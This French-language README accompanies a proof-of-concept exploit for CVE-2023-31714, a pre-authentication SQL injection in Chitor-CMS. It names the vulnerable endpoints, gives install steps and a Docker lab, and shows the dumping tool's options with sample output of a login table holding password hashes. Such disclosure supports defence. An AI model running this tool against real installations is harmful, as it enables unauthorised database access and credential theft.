CVE-2023-31714 - Chitor-CMS < 1.1.2 Injection SQL pré-authentification

Trouvé par msd0pe
https://github.com/waqaskanju/Chitor-CMS
Projet par waqaskanju

chitor1.1.py (Corrigé depuis le commit 69d3442)

2023/04/13
Une injection SQL a été trouvée dans l'endpoint /edit_school.php?id= et ne nécessite aucune authentification.

chitor1.0.py (Devenue une injection SQL post-authentification depuis le commit 5f76192)

2023/04/09
Des injections SQL ont été trouvées dans plusieurs endpoints tels que /add_school_class.php?school= et ne nécessitent aucune authentification. Depuis le commit 5f76192, ces endpoints vérifient que l'utilisateur connecté dispose des droits d'édition. Cette vérification était déjà en place auparavant mais n'était pas fonctionnelle.

Installation

sudo apt install git virtualenv python3 python3-pip docker-compose
git clone https://github.com/msd0pe-1/cve-2023-31714
virtualenv -p python3 venv
source venv/bin/activate
pip3 install requests prettytable

TO START THE VULNERABLE DOCKER:
  - sudo ./run.sh [1.0|1.1]
TO STOP AND CLEAN THE DOCKER:
  - sudo ./clean.sh

Utilisation

Usage: python chitor1.1.py [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -u URL, --url=URL     target url
  --dbs                 list databases
  -D DATABASE, --db=DATABASE
                        select a database
  --tables              list tables
  -T TABLE, --table=TABLE
                        select a table
  --dump                dump the content

  Examples:
    python3 chitor1.1.py -u http://127.0.0.1 --dbs
    python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db --tables
    python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db -T login --dump

  Chitor-CMS < 1.1.2 Pre-Auth SQL Injection.
  Source code put in public domain by msd0pe,no Copyright
  Any malicious or illegal activity may be punishable by law
  Use at your own risk

Exemple

python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db -T login --dump
+----+-------------+------------+----------------------------------+--------+
| Id | Employee_Id | User_Name  |             Password             | Status |
+----+-------------+------------+----------------------------------+--------+
| 1  |      1      |   Guest    | adb831a7fdd83dd1e2a309ce7591dff8 |   1    |
| 2  |      2      | waqaskanju | ################################ |   1    |
| 3  |      3      |   admin    | 21232f297a57a5a743894a0e4a801fc3 |   1    |
+----+-------------+------------+----------------------------------+--------+